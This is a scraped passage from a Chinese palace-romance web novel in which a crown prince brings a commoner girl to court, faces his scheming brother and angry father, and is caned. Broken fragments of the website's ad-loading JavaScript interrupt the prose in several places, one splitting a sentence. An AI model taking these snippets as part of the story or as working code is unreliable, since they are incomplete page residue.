银白的布料上沾了一滴血迹,的确是不能用了。 望着江露染有些可惜的眉眼,谢知寒心里涌出的却是心疼。 如果不是要为自己缝制这枚香囊,晓晓也不会受伤。 自己方才应当拦住她,而不是任由她妄为。 谢知寒将那枚染了血的香囊紧紧握在手心,明明是一枚已经无用的香囊,他却握的那样紧。 江露染很快调整好自己的情绪,不过就是一枚香囊,她在做一枚就好了,下一枚一定做的更好。 更能与殿下相配。 “没关系的,殿下,我在做一枚就好了,你等等我。” 对于香囊,其实谢知寒更关心的是江露染受伤的指尖,若是她为了自己再次受伤,那可是谢知寒绝对不愿看到的画面。 “不用,晓晓做的这枚已经很好了。” “那怎么可以,殿下用的一定要是世间最好的,这枚不好,殿下还是尽早丢了吧。” 丢了,谢知寒指尖微微用力,将手心那枚香囊握的更紧。 那是她做的,怎么可以丢了。 虽然不能佩戴,但认真储藏起来还是可以的,谢知寒将那枚染了血的香囊小心收起。 几日后,江露染重新做好了另外一只香囊,为谢知寒佩戴在腰上。 靠近殿下时,可以嗅到他身上清冷的檀香,指尖触碰到殿下,令江露染一阵心颤。 重新做的那枚香囊也是银白色,与殿下很是相配,江露染认真看着,觉得很是满意。 谢知寒却一心惦记着江露染的伤,他牵过她的手,认真查看上面的伤口。 那么一点的刺伤,况且都已经过去了好几日,此时自然都痊愈了。 看着谢知寒认真的眉眼,江露染任由他握着自己的手指,上面有细密的触感传来。 那伤口早就看不见了。 江露染看着谢知寒如此紧张的神情:“殿下,一点小伤而已。” 倒是不用如此紧张。 在谢知寒心中却没有小伤的概念,毕竟事关江露染,他不容许她伤到一根头发。 南风看着殿下腰间崭新的香囊,上面的针脚似乎比上一枚要精巧了些,一看就是新做的。 医馆中除了江露染是女子,其他人都是男子。 这香囊是谁做的,其实很容易猜到。 只是南风有些惊讶于自己的迟钝,明明是显而易见的答案,而他却是此刻才知晓。 想来殿下容许女子近身的目前看来,也就只有江露染一个。 他到底是有多么愚笨。 看来以后得对这个小姑娘尊重些,说不准以后她便是这东宫的主人,他的主上。 不过陛下真的会允许宫外女子做殿下的太子妃吗?以陛下那个脾气来说,很难。 南风情不自禁为殿下担忧起来。 房间内的二人倒是不知南风此时有如此多的心思。 江露染推开窗子抬头看到天幕之上满是星星,很是兴奋地牵了谢知寒的手,与他一起相携走出来。 “殿下,快看都是星星,好漂亮。” 谢知寒顺着她的视线看去,那些星星的确很亮,可是都比不上江露染的眼睛。 她望着自己时眼眸中闪烁的亮光,比天上星星还要明亮几分。 那是他此生见过,最明亮的星辰。 “殿下,快看,是流星!” 天幕之上有一条银白的细线很快划过。 “殿下,快许愿!”说完,江露染就双手合十,在心中无比虔诚道:“愿殿下此生无忧。” 而谢知寒视线深深凝在江露染身上,他余生的愿望很简单。 就是希望身边的少女永远随心自在,平安喜乐。 南风看着这一幕,也希望殿下和江露染以后不必被宫中的烦忧所困,永远喜乐,岁岁年年。 次日,谢知寒一行人对着大夫和小童告辞。 在这些天的相处中,大夫早就将他们视做家人,面对离别,很是依依不舍。 但天下哪有不散的宴席,大夫只看着几人背影,直到他们的身影彻底消失不见。 只希望他们记得成婚时一定要邀请自己前来啊。 接下来返回宫中的路途皆是坦途,没有危险的路途,想来也是没有刺客的。 江露染再不似第一次与殿下同坐马车时的拘谨,而是非常肆意。 冷了,就披殿下的大氅。饿了,就吃殿下的糕点。 南风看到这场面每次都会咋舌,这是不是也太过分了些,殿下也不管管她,简直是一点也不端庄。 每当这时,江露染就会亲手烧制新奇的菜品,让南风先尝,南风总会爆发出求饶。 谢知寒看到两人这场面,每次都会微微一笑。 过几日就要回宫了,想来不会再有如此轻松的时刻,思及此,谢知寒心中又增添了几分沉重。 过了午后天气有些阴沉,从天边吹来一阵寒风,树叶簇簇作响,衣袍也被吹的鼓起来,颇有些山雨欲来风满楼的味道。 很快就落起雨来,雨滴敲在树叶上,发出凌乱的响声,听在人心里有些烦躁。 * 贵妃殿中。 二皇子谢衡靠在圈椅上,眉眼间透露出一股凌厉的狠意。 “我那个皇兄倒真是福大命大。” 殿中已无旁人,但如此直白的言语还是令李贵妃有些不适。 她轻声斥责:“虽说这是在我殿中,你多少也收敛着些,宫中人多眼杂,若是被旁人听到了,这可如何是好。” 谢衡倒是完全一副不在意的模样,他这话明面上说的也无错处,就算是被父皇知晓,父皇也不会对自己如何。 他这皇兄倒真的是难对付,竟可以将曲洲之事处理的如此之好,还能在自己雇佣的刺客面前全身而退。 不过如今父皇对先皇后的情谊全然不在,朝堂上的臣子也有他自己的人。 他倒要看看自己这位一向光风霁月的兄长,到底要拿什么与自己争。 李贵妃看着自己儿子,哪里猜不透他此时正在想什么。 这个儿子自小就喜欢争强好胜,尤其是对手还是一向完美光风霁月的太子殿下。 但幸好陛下对自己和衡儿的宠爱一直在,所以她也有底气可以搏一搏。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 尤其是现在先皇后不在了,后位一直空悬,凭着陛下对自己的荣宠,登上后位也不过是早晚的问题。 东宫如今毕竟势单力薄。 倒时她就是正统的皇后,衡儿就是名正言顺的嫡子,东宫易主那日她倒要看看还有谁敢议论。 但如今还有更重要的事情要做。 “你打算将如何处理那名人证?” 谢衡视线移过来,目光冷寒,瞳仁没有半点情谊。 “刺客的任务就是杀人,既然自己的本职没有做好,那自然就没有留下来的必要了。” “上一次已经打草惊蛇,这次务必要做的干净些,切莫再留下把柄。”李贵妃劝慰道。 “儿臣知道。” 谢衡派人暗中查明了谢知寒的路线,明确的知晓他此时已经到了哪里。 他倒要看看他这个一向完美无缺的兄长是否还能留得住自己的把柄。 人证遇刺正是在这个雨天,雨水淅淅沥沥落了一夜,天气很快冷下来,江露染裹紧了自己的外衫。 虽说已经披上了厚衣服,但心中仍旧一阵阵的发寒。 方才南风向谢知寒低声禀报了一句,殿下的脸色瞬间就冷沉下来,宛如冬日寒冰。 看殿下的脸色,想来也不会是什么好事。 谢知寒一人沉默很久,他俊美的脸色染上冰寒,令人胆战心惊。 他知晓自从母后去后,就一直有人视自己为眼中钉,可是他自问行事光明磊落,并没有对不起任何人。 他不想赶尽杀绝,可是总有人逼他先动手。 是啊,他是东宫太子,未来的储君,他一出生便已身在局中,又何谈独善其身呢? 更何况他心中已有了牵挂。 想到这里,谢知寒冷沉的眉眼才轻轻动了动,看向一边的江露染。 而江露染此时也正好在望着他,两人目光骤然碰撞在一起,谢知寒眉眼间的戾气还没有完全散尽。 江露染一滞,殿下以往也会露出不耐的神色,但这次仿佛是真的动了气。 是因为宫里的人吗? 可是自己又该如何帮他? 谢知寒望着眼前的少女,她即使愣在原地也依旧是美的惊人,这是属于他自己的花,他不会允许任何人伤害到她。 即使是她自己也不行。 望着眼前的少女良久,谢知寒眉眼间的戾气才逐渐散了。 他将少女揽到自己怀中,想起她方才的模样,低声道:“吓到你了是不是?” 江露染乖巧地窝在谢知寒怀中,像一只小小的猫。 她小幅度地摇了摇头,发梢轻轻蹭过谢知寒的下颌。 “殿下,我只是很担心你。” 担心你不快乐,担心你不顺遂。 谢知寒搂紧怀中的少女,两个人身上的香味逐渐融合在一起。 “害怕吗?” 江露染知晓殿下指的是回宫后的生活,她继续摇头,声音清晰而坚定。 “晓晓不怕,晓晓会一直陪伴在殿下身边。” 虽然不知晓入宫入宫之后会发生何事,但是想来不会轻松。 更令江露染难以忍受的是,宫中那么多难熬的夜晚,原来殿下都是一个人过来的。 25. 第 25 章 原来高高在上的人也会一直这样孤单,原来殿下这么多年也是一直如此孤独。 为何我没有早些认识殿下。 想着,江露染更加深深将自己埋进殿下的怀抱,深深感知他身上清冷的檀香。 明光殿。 青奚帝看了几分折子,依旧遮不住脸上昭然的怒气,连着几份都是劝谏,让青奚帝少迷恋长生之事,多以朝事为主。 青奚帝随着年龄增长,逐渐信奉鬼神之说,更是信奉这世间有令人长生不老的法子,长时间修行便可以福寿延绵。 从而满足自己流芳百世的愿望。 是以每次都会遵从国师的法子修行,打扰睡眠,从而耽误次日的早朝,这种情况已经发生数次。 因此才会惹来少数朝臣的不满。 早朝乃是大事,陛下怎么可以任性的一而再再而三地缺席,长此以往,于国祚不利。 这才忍无可忍上了折子。 青奚帝看到折子上毫不留情的言语,已是怒极。 “这天下毕竟还是朕的天下,哪里轮的到这些人在朕面前指点。” 随侍一旁的谢衡看着落了一地的折子,心中也是唏嘘不已。 父皇自从听从国师的话以后,性情就一直阴晴不定,但是对母后和自己却从未发过脾气。 谢衡望着一地的奏折,缓声道:“父皇也别太生气了。” 青奚帝重重咳嗽了几声,一旁的内侍稳稳地递上茶水。 他饮了几口茶,咳声才渐渐平息下来。 他看了一旁的谢衡一眼,怒气缓和了一点,但语气仍旧不善。 “这些人也未免也太大胆了些,敢当着朕的面数落朕的不是。” 谢衡伸手接过青奚帝手中的茶盏,将它交给身边的内侍。 “这些人也是心系国祚,父皇不要太过忧心。听闻皇兄不日就要从曲洲回来了。” 青奚帝在谢衡口中听到关于谢知寒的名字,顿时没有那么生气了。 他与先皇后关系一直不好,便也连带着不喜谢知寒,但是这次谢知寒将曲洲的事办的很好,他心中自然也是高兴的。 “太子这次曲洲的事办的不错,按例当赏。” 谢衡低下眉眼,语气谦恭。 “皇兄能力甚好,阿衡自视弗如。” 接着,他话音一转:“不过听闻皇兄此次回京还带了个来历不明的女子,恐怕是这女子用不良的法子蛊惑了皇兄。” 青奚帝思忖片刻,手指缓缓拂过桌案。 太子一向不近女色,端方守礼,此次一出宫就被美色所迷,可见定力不够。 身为一国储君德行有亏,岂不是会让他人诟病。 且此次回京也比太子早先预定的时日要晚。 难不成都是因为这个女子? 思及此,青奚帝眉梢已经染上了愠怒,手掌重重地拍上桌案。 “谁给他这么大的胆子,让他如此任性妄为!” 这完全不将自己放在眼中的样子跟先皇后还真是一模一样。 谢衡望着青奚帝再次泛起怒意,低着的眉眼中已然有了得意之色。 青奚帝身边的内侍低眉侧目,却已经将殿内的对话完全记住。他不动声色向谢衡的方向望了一眼,只看到二皇子一段流畅的下颌。 当晚谢知寒就收到来自一封京中的信,上面就完整记录了殿内的对话。 谢知寒修长如玉的指尖捏着那封信看了很久,上面的字迹清晰无比,幻化成一个又一个的利刃,向他刺来。 对他进行无情的言语鞭笞的人,一个是他的皇弟,一个是他的父皇。 是他在这个世上最亲近的人。 谢知寒看着手中的那封信良久,神情漠然,看不出什么明显的情绪。 片刻之后,他拿出火折子将手中的信件烧成了灰烬,火苗一直燃到指尖,谢知寒却丝毫没有感受到疼痛。 也或许是心痛了,身体上的疼痛就减轻了。 他一直在期待什么呢?那些他想要的温情从来就不是属于他的。 陪伴着自己在东宫殿内的是一直是无尽的静默和孤寂。 纸张燃烧的灰色粉末在空中飘扬,最终被风吹散,消失不见了。 江露染望着谢知寒的背影,不知为何感受到无尽的悲伤,南风告诉她,此时最好还是让殿下一个人待着为好。 可是,这个时候不是最需要有人陪着吗? 爹爹曾经说过,若是难过了就要说出来,这样就不会伤心了。 殿下若是一直这样将那些不快藏在心里,那样岂不是会更加难过。 她不要他这么难过。 他是那样好的人,值得这世间最好的东西。 比如珍宝,比如爱。 江露染趁南风不备跑出他的视线范围,南风刚想去捉她的裙角,却是扑了个空。 谢知寒听到背后传来急促的脚步声,身侧传来一阵熟悉的清甜香味。 不用回头也知道是谁。 江露染重重地撞入谢知寒怀中,她紧紧拥住他的腰,双手紧扣在他的腰后。 声音低而虔诚:“殿下,你如果不开心的话一定要对晓晓讲,晓晓不想看到殿下这个样子。” 以往他难过的时候总会一个人待着,宫殿之中人多眼杂,他又是储君,自然是更多双眼睛盯着。 若是做错一件事,说错一句话,便就是会给自己招来祸事。 太子这个位置,的确是位高权重,一人之下万人之上。 可谢知寒感受到更多的是这个位置带来的桎梏。 可他也清楚的知晓,他生来就是储君,享受着许多人得不到的权利,自然也要付出不同寻常的代价。 他身上背负的不仅只有储君的名号,还有他的家国,他的子民。 自然,还有她。 谢知寒收紧揽住她怀抱的手,指尖稍稍用力,在曲洲遇见她是他一生中最幸运的事。 母后走时,他年岁尚小,那时,他眼睛都哭肿了,却被父皇说成妇人之仁,难成大器。 太傅深深地看着自己,眼中弥漫着难以言说的情绪,但最终也只是说一句。 “殿下,您是储君,日后会有更重要的事情要做。” 言下之意,也是要他收敛情绪。 从那以后,谢知寒就再也没有情绪外露过,平日里永远都是一副平淡漠然,冷沉矜贵的模样。 时间久了,他也以为自己本身便就是那个样子。 但在遇见江露染之后,他才发现, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他真实的自己。 原来他也是会开心和喜悦,像个正常人一般心有挂念,会为了一个人开心而开心,为了一个人难过而难过。 他终究是人,不是一个冷漠无情的冰冷石像。 是怀中的少女,让他找到了真实的自我,并且也找到了人生新的意义。 他不再期待与皇弟关系的缓和,也不再期待父皇偶然的垂怜,因为那些东西很遥远,宛如镜中花,水中月,即使他用尽全身力气也是虚妄。 从今以后,他只会为了他的家国和她而活。 从今以后,他会成为一个真实有血有肉的人而活。 江露染深深埋在谢知寒怀中,如果可以,她愿意永远这样陪着他。 以这样的姿势,用这样的情谊。 可是不行,殿下还有殿下自己的事情要做,殿下他还有自己的路要走。 他一生的理想和志向远远不是在这途中,这里仅仅是他前行路上的一个路口。 但是她会一直陪着他,亲眼看着他完成心中的理想。 “殿下,我是不会离开你的。” * 文武百官都知晓今日太子殿下会回宫,于是在宫门前列阵迎接,站在最前面的是二皇子谢衡。 他一身玄色的氅衣,迎风而立,长发用一根价值千金的玉簪束起。 眼看着谢知寒的马车在自己面前停下,谢衡立即上前,笑着迎上去。 掀开帘幔的手骨节分明,随之而来的是一阵清冷的檀香,谢衡对这檀香味很是抵触,面上却是丝毫不显。 他直视着面前长身玉立,矜贵至极的男子道:“听闻皇兄回程途中遇刺,不知皇兄可还好?” 谢知寒淡淡瞥他一眼,眼神中的锋芒一闪而过,而后淡声道:“皇弟何时对孤的事情这么感兴趣?” 谢衡语塞,这还是有史以来这位皇兄第一次言语之中对自己如此不客气。 他顿了顿,就看到这位一向不近女色,清冷自持的皇兄动作轻柔,从马车上抱下来一个女子。 那女子被谢知寒的氅衣裹得很紧,从他的角度只能看到一截淡粉的裙裾,和裙裾里似有若无的脚踝。 仅仅是这一眼,也能感觉出女子的曼妙至极。 倒是个佳人。 谢衡的视线在谢知寒身上一闪而过,面上显现出担心。 似是一心为谢知寒着想。 “皇兄,你如此对待一个来历不明的女子,怕是不合宫中规矩。” 谢知寒紧紧抱住江露染,径直从谢衡身边走过,半分视线都没有分给他。 他缓缓开口,语气仍旧淡淡,但谢衡敏锐地听出里面藏着的冰寒。 “孤的事,不需要外人操心。”他顿了顿,继续道:“况且晓晓不是什么来历不明的女子,她是孤的人。” 谢衡没有想到这位平时一向淡然的皇兄竟然当着这么多的人,不给他留半分体面,就这样将自己视作无物径直走了过去。 这对一向眼高于顶的谢衡来说,简直就是莫大的耻辱。 外人,难道自己一个尊贵至极的皇子还比不上一个宫外来的野丫头么? 谢衡细眉微皱,心中很快觉察到。 谢知寒跟以前有些不太一样,似乎难对付了些。 26. 第 26 章 不过,谢衡望着谢知寒清隽的背影,他可以无视自己,难道也可以无视父皇么。 他如今倒是护着那个来历不明的女子,在父皇面前,难道也会是如此模样? 谢衡唇边漫出一抹阴寒的笑容,他可是拭目以待。 江露染深感此举不妥,宫闱之内耳目众多,何况这又是在大庭广众之下,殿下此举怕是已经招来非议。 她不可以让殿下面临两难的选择。 她才轻微地动了动,就被谢知寒轻轻摁住她的腰,示意她别动。 宫墙之内,除了陛下,就是太子最为尊贵,他做什么即使旁人有所非议自然也不敢置喙。 他深知晓晓来自宫外,旁人会对晓晓的身份产生质疑。 那么他就先打破这种质疑,他此举就是想要告诉所有人,晓晓是他的,任何人都不能动。 一向端方知礼的太子殿下怀中似乎抱了一位姑娘,宫婢和侍卫看见也是惊诧万分,但是主子之间的事情哪里轮的到他们多话,瞧见的人都纷纷垂首,生怕自己多看多错。 很快到了甬道的分叉口,一条是通往东宫的,一条是通往明光殿。 谢知寒将怀中少女放下来,替她整理好鬓边有些散乱的发丝,而后对着南风道:“带着晓晓去东宫。” 南风少见的对谢知寒的命令产生迟疑。 殿下这是要孤身一人去面对陛下?可是陛下一向喜怒不定,若是突然对殿下发难...南风面上显露出犹豫。 谢知寒抬眸:“怎么,连孤的话也听不进去了,是么?” 他的这一眼极有压迫性,南风从来没有见过殿下如此模样。 只觉得殿下周身气质冰寒,宛如天上凛冽的冷月。 南风这才反应过来,殿下是储君,更是未来的一国之君,他不是在跟自己商量,而是在命令自己。 南风很快拱手:“属下遵命。” 可是江露染却不肯走,她紧紧拽着谢知寒衣衫的一角,眼神也是一错不错地看着他,瞳仁墨黑,倒映着无边的担忧。 谢知寒也很想带她一起,他走到哪里都想和她一起。 可是不行,父皇已经对自己生出不满,若是此时和她一起出现在明光殿,父皇怒意只会更盛。他自己倒是可以承担来自帝王凛冽的怒意。 可是,晓晓不行。 他不会让她受到一点伤害。 她是他带回来的很重要的人,他会对她负责到底。 谢知寒轻轻俯身,与江露染对视,他的眼眸中显现出一抹柔情,与方才的冰寒截然不同。 语气也放缓,一字一句,温柔至极。 “我不会有事,晓晓乖乖的,等我回来。” 这明明听上去就像是一句骗小孩子的谎话,江露染想起爹爹骗自己偷偷出门时,也会这么温柔地哄骗自己一番。 她握紧他衣角的手指依旧不放,反而握的更紧了。 谢知寒有些无奈,时辰已经不早了,可是他的晓晓不让他走。 她的眼神很快蔓延出水汽,像是春日里突然而至的一场细雨。 打湿了谢知寒的心。 他是见不得她哭的。 谢知寒伸出手将她眼尾那滴泪抹去了,她的皮肤娇嫩,眼尾留下一抹薄红,看上去像是被人欺负狠了。 南风向外踏出一步,将二人的身影掩住。 若是被外人看到,还不知日后会被传成何种模样。 在无人看到的角落,谢知寒将眼前的少女紧紧拥在怀中,附在她的耳畔,声音有些沉,但也非常郑重。 “我难道在晓晓心中就是如此失信之人,晓晓,信我。” 他没有在晓晓面前自称孤,他可以是任何人的太子殿下,但这次他是她的心上人。 他想告诉她。 在自己的心爱之人面前,没有身份上的差别,没有上与下的逼迫。 他眼中只有她,他们是平等和一致的。 听到殿下如此说,江露染也知道实在是不能再耽搁了,她明明决定不给殿下添麻烦,可还是忍不住去拥住他。 她不想总是看到他的背影,在那么多难过的时刻,她想与他并肩同行。 她缓缓松开那片已经被她揉皱的衣角,眼神一瞬不瞬望着谢知寒。 “殿下既然已经答应了我,就要说到做到,我等殿下回来。” * 明光殿。 青奚帝看着眼前这个多日未见的嫡长子,一袭白衣,长身玉立,只是简单地立于殿中,就显示出一种难以描绘的骄矜与贵气。 这是他立的太子,这是他与先皇后的孩子。 想到先皇后,青奚帝不禁皱了皱眉。 待谢知寒一字一句汇报完曲洲之事,青奚帝眯了眯眼睛,语气也带了几分危险。 “朕听闻你从宫外带回一名女子。” 还一路抱着她在宫中行走,简直就是肆意妄为,不知分寸。 谢知寒已经察觉到青奚帝的愠怒,但是他只是简单地抬了抬眼眸与青奚帝对视,没有一丝动摇。 虽然他解决了曲洲之事,但是回来面对的仍旧是帝王的雷霆之怒。 这就是宫墙之内的法则。 有功不一定会赏,但有过是一定要罚。 功过对错只在上位者的一念之间。 可是自己又有什么错呢? 他不过是带回来一个自己心爱的女子。 许久,殿内一片寂静,偶然传来烛火的燃烧之声。 青奚帝眼见面前人并没有要对自己解释的样子,怒火更是盛了几分,不过是出了一趟远门,办好了一件小小的差事,就可以如此目中无人。 他这个皇帝还没有死。 “你对朕就没有什么要说的吗?”青奚帝深知自己的这个儿子虽然看上去平和,永远都是一副与世无争的模样,但是心里却是个极其有主意的。 性子简直就和先皇后一模一样。 做为帝王,他最喜欢柔顺和遵从,他喜欢将天下的一切都掌控在指尖,不允许出任何的差错和意外。 可令青奚帝最为失望的是,他唯一没有掌控住的先是自己的妻子,而后是自己的儿子。 若是全天下都这样,那将他这个帝王放在何处。 “回父皇,儿臣并没有什么想要解释的。” 一切不过是随心而行罢了,他不屑也不需要与旁人解释。 青奚帝冷冷看着谢知寒,他的举止恭谨有度,冷静知礼,但是言语之间又听不出对自己有多少尊重。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >这就是自己养出来的好儿子。 为了一个女人和自己有了龃龉,从前因为先皇后,现在却是因着一个来路不明的女子。 当真是妇人之仁。 青奚帝怒极反笑:“你就不怕朕罚你。” 谢知寒面色仍旧淡淡,看上去对青奚帝的反应毫不关心。 “天下人的生死对错,不都是在父皇的一念之间,至于儿臣的想法,父皇当真在乎吗?” 语气不急不缓,看上去倒是当真对刑罚置之度外。 青奚帝已是怒极,他不明白,为何先皇后与自己的这个儿子总是与他对着干。 遵从于自己,服从于帝王,这样不好吗? 青奚帝气的咳嗽起来,身边的内侍递上茶盏,他饮了几口,才平息喘咳。 目光看向谢知寒时,已经归于平淡,既然他想要惩罚,那么就给他好了,这也算是成全他。 求仁得仁么,他今日便满足他。 谢知寒回到东宫时,已经是夜深了,此时殿外已吹起冷风,天色很是有些冷了。 眼见殿下还没有回来,江露染眉梢已经染上担忧。 自从带江露染回到东宫,她就一直待在正殿门边等殿下回来。 让她进去她也不听,若是吹了冷风受了风寒,殿下回来责怪的就是自己了。 南风心想。 江露染遥遥望着明光殿的方向,殿下原来在离自己那么远的地方吗? 他们之间距离了那么多座宫殿,她与殿下,简直就是被人生生隔绝开来。 隔了那么远的距离,殿下可以感觉的到吗? 她对他的思念,简直就是望眼欲穿。 心中正在想念,正看见有人自回廊而来,一道清冷的白色身影,身边虽说跟了许多内侍,但江露染还是一眼就看到了谢知寒。 终于看到心心念念的人回来。 江露染不顾南风的阻拦,径直跑到谢知寒身边,身边跟随的内侍一脸惊诧。 皇宫之中规矩是何等森严,人人都举止有度。 这堂而皇之跑来的少女是谁,真是一点也不知礼数。 内侍突然想起太子殿下携一女子而归,今次又是为这女子受罚。 看着江露染突然意识到了什么,一向循规蹈矩的太子殿下不会就是为了眼前的少女而受罚吧。 这倒真是件新鲜事。 夜色已晚,看不清少女的眉眼,但仅是瞧着模糊的轮廓,也能猜出是个不俗的美人。 内侍连带着看谢知寒的神色也奇怪起来,太子殿下一向寡欲,竟然也难过美人这一关。 谢知寒屏退闲杂人等,看着径直向自己跑来的少女,直直跌入自己怀中。 方才因为与青奚帝对峙的阴郁神色减轻了不少,连带着语气也柔和起来。 “这里不好吗?怎么出来了?” 江露染看到面前的人完完整整站在自己面前,心才彻底落在了实处。 方才她的心就一直悬着,总担心要出什么事。 可陛下怎么说也是殿下的生父,况且殿下在治理曲洲一事有功。 陛下于情于理也不会过于为难殿下。 她紧紧拥住谢知寒,手心却传来一阵糯湿,鼻尖也传来一阵清晰的铁锈味。 27. 第 27 章 江露染一怔,将自己的手心慢慢收回来,即便是隔着浓重的月色也可以看到手心的糯湿。 一片猩红的颜色。 江露染心跳停拍,缓缓抬眸看向谢知寒,殿下面色仍旧如以往那般淡然,整个人如玉一般,完全看不出受了如此重的伤。 “殿下。”她不禁轻唤出声,语气带了颤音。 谢知寒看着她的脸色苍白如雪,一双眼瞳在月色下显现出惊惶。 显然是吓到她了。 谢知寒握住她的手腕,力气不轻也不重,携着她向殿内走去,两个人的影子被月色拉的很长。 南风眼见殿下回来,立即向殿下行礼,谢知寒面色淡淡示意他下去。 南风对殿下的伤势很是担忧,陛下对殿下一向不留情面,很难相信这是一对父子,殿下这次明显是受了重伤。 谢知寒却拢紧衣衫,似乎一点也不将伤势放在心上。 不仅让南风走了,还让东宫殿内其他的宫人也退下了。 很快,偌大的东宫殿内只余他们二人,空气很静,落针可闻。 江露染眼眸中早就已经氤氲出水雾,眼前浮现的都是殿下受伤的场景。 她的心提起,早知殿下会这样,她就应该和他一起去的。 殿下受了如此重的伤,而自己却躲在他的身后,这算什么道理。 谢知寒轻叹一声,在殿内非常明显,江露染的眼泪很快掉下来,透亮的一滴。 谢知寒伸手将她的泪珠擦去,江露染却根本不领他的情。 “殿下,你骗我。” 谢知寒声音很轻,带了一点疑惑,他怎么会欺骗他的晓晓呢。 这是绝对不可能发生的事情。 江露染执拗地看着他,眼瞳中隐隐显现出质问。 “殿下,你明明说过你会好好的回来,可是你现在怎么算好好的。” 明明总是让自己关心身体,自己却完全不将身体当回事。 殿下他就是骗了自己。 谢知寒想说些什么,可是却什么也说不出来。 江露染脱下他身上的大氅,里面的杖痕参差不齐,外衣都已经被沾透,显现出斑驳的血迹。 这就是殿下口中所说的好好的回来。 殿下就知道对自己食言。 看着那些杖痕,都是实打实打下来的,一点也不轻。 江露染眼泪又要掉下来,可是想到这样殿下不喜欢她哭,于是生生忍住了。 晶莹的泪珠只是悬在睫上,要坠不坠。 “殿下,应当要唤太医来。” 谢知寒却摇摇头,道:“不必。” 父皇一向喜怒不定,而父皇又最为不喜自己性情,是以以往父皇也会寻各种借口惩罚自己。 而后不许太医来东宫。 每次伤后都是自己用药疗伤,所以东宫才会有各种药瓶。 江露染抬头望他一眼,瞳仁中映满水色,这就是殿下在宫中的生活? 她以为他可以顺遂的。 江露染去寻药瓶,可是她在谢知寒说过的地方左找右找,怎么也找不见殿下说的那瓶药。 谢知寒眉眼淡淡。 “大抵是用完了。” 江露染手指微顿,殿下是如何将如此重要的事说的这样轻描淡写。 殿下受了这么重的伤,没有药会死的。 他难道连自己的性命也不顾了吗? 江露染忽然有些生气,走到谢知寒身边将手中的一个东西重重掷在他面前,谢知寒有些不明所以,抬眸看了她一眼。 江露染却别过眼去。 谢知寒拿起身侧的东西,是一个碧色的药瓶,他倏然想起,是去崔安府中那日他让南风交给她的。 原来她一直都没有用吗? 谢知寒细长手指拿过那瓶药,将一侧板着脸的小姑娘拉过来,将药瓶塞入她的手心。 “晓晓帮帮孤好不好?” 江露染本来就在谢知寒面前绷不住脸色,如今他这样软着语气跟自己说话,尾音又压的很低。 她实在是继续不下去,将药瓶的塞子打开。 但语气仍旧不善:“殿下以后若是再不注意自己身子,我就,我就...” “晓晓就要怎样?”谢知寒的语气带着几分好奇。 “殿下!”江露染气极。 她的意思明明就是让殿下注意身体,殿下却偏偏要关心别的。 “若是殿下不关心自己的身体,那我也就跟殿下一样,反正我现在也是东宫的人,跟着殿下学也是应当。” 眼看着小姑娘的眉眼又要皱起来,谢知寒连忙放软语气。 好不容易哄得小姑娘不再板着脸,可不能前功尽弃。 “孤方才都是在跟晓晓说笑,以后不会了。” 江露染正色道:“殿下说的我可都信了。” 以往父皇对自己如此时,谢知寒总是毫不在乎的,他那时还想过,若是父皇心狠一些,伤的再重一些,也是好的。 可是如今自己已经有了切实的牵挂,自然不会任由这样的事情发生。 他若是不在了还有谁能护住他的晓晓。 “孤不会对晓晓说谎。” 江露染望着谢知寒的眼睛,终于相信了他说的话。 如果她不相信殿下,还能相信谁呢? 手中的药瓶散发出清苦的药香,江露染将谢知寒的外衫轻轻撕下,血迹黏连,江露染小心翼翼,生怕扯疼了。 殿下他以前都是自己做这些吗? 应当不会吧,毕竟东宫殿内这么宫人。 可是方才看了眼殿内好像都是宫女多一些,殿下涂药的时候也会让宫女近身吗? 本来这都是很正常的事情,可是江露染一想到殿下这个样子也有其他女子看过,甚至如此亲密的为殿下涂药,心里就产生一些异样的感觉。 有点堵,也有点酸酸的。 心里一走神,手下的力气就重了一些。 听到谢知寒隐忍的声音,江露染才反应过来,自己方才都做了些什么。 她怎么可以在这种时候走神。 “殿下,你没事吧?”少女的声音带着些紧张,他还听见了一丝颤音。 这种程度的疼痛对谢知寒来说自然不算什么,毕竟比方才还要痛几倍的事情他都经历过。 但是不知为何,面前眼前的少女,他总是情不自禁露出自己脆弱的一面。 他想看看她对自己的反应,或者说,想让她多心疼自己。 江露染听到殿下的声音,一如既往的清沉,只是此时却带了几分不正经。 她听到他说:“晓晓,若是再重些,孤可就要受不住了。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 江露染将自己指尖的药膏认真涂好,等药膏稍稍干了一些给谢知寒披上衣衫。 他的外衫很轻薄,一看就价值不菲。 江露染有心事从来瞒不过谢知寒,她虽然将心事隐瞒的很好,可是谢知寒转身还是一眼就看到她眼眸中的异样。 他将衣衫随意披在身上,从江露染的角度可以看到他白皙如玉的锁骨。 只这一眼,就让江露染迅速低眉,脸颊浮上薄红。 谢知寒微微挑眉,他自然清楚她是在害羞。 可是方才涂药时也不见她紧张,此时倒是连看也不敢看他,他倒是不知他的晓晓如此容易害羞。 他轻轻挑起她的下巴,让她直视着自己。 江露染的瞳仁明亮,在殿中烛火的映衬下如一泓秋水。 他的声音就响在耳畔,一字一句道:“晓晓,你还没有回答孤。” 江露染这才回神,想起方才殿下问她是否有心事。 这要怎么启齿,难道还要当着殿下的面问他有没有和其他女子如此亲密过。 这让她如何开口,只是想想就已经让她面色发烫。 谢知寒眼神灼灼,不偏不倚落在江露染身上。 江露染承受不了他如此灼热的眼神,终是从他的指尖逃离,谢知寒只觉指尖一空。 眼看着少女连耳尖都在红的滴血,谢知寒越来越好奇。 他的晓晓此时究竟在想些什么。 他栖身而上,几乎就要和少女贴在一起。 声音磁沉,听在江露染耳中莫名带了点危险,谢知寒眼瞳眯起:“晓晓,怎么不回答孤。” 只是问个问题为何要离的这么近。 江露染想偷偷离他远些,才刚动了动,就被谢知寒拉回原地。 视线仍旧不依不饶地落在她身上。 仿佛非要等到她的回答。 江露染闭了闭眼睛,算了,反正已经这样了,若是不说反而会被他瞧不起。 她才不要被他瞧不起。 她闭着眼睛,脸也朝向外侧,试图遮住自己越发变红的脸颊。 “殿下...有没有...和其他人...这样过...”她的声音越来越小,到最后几乎要听不见。 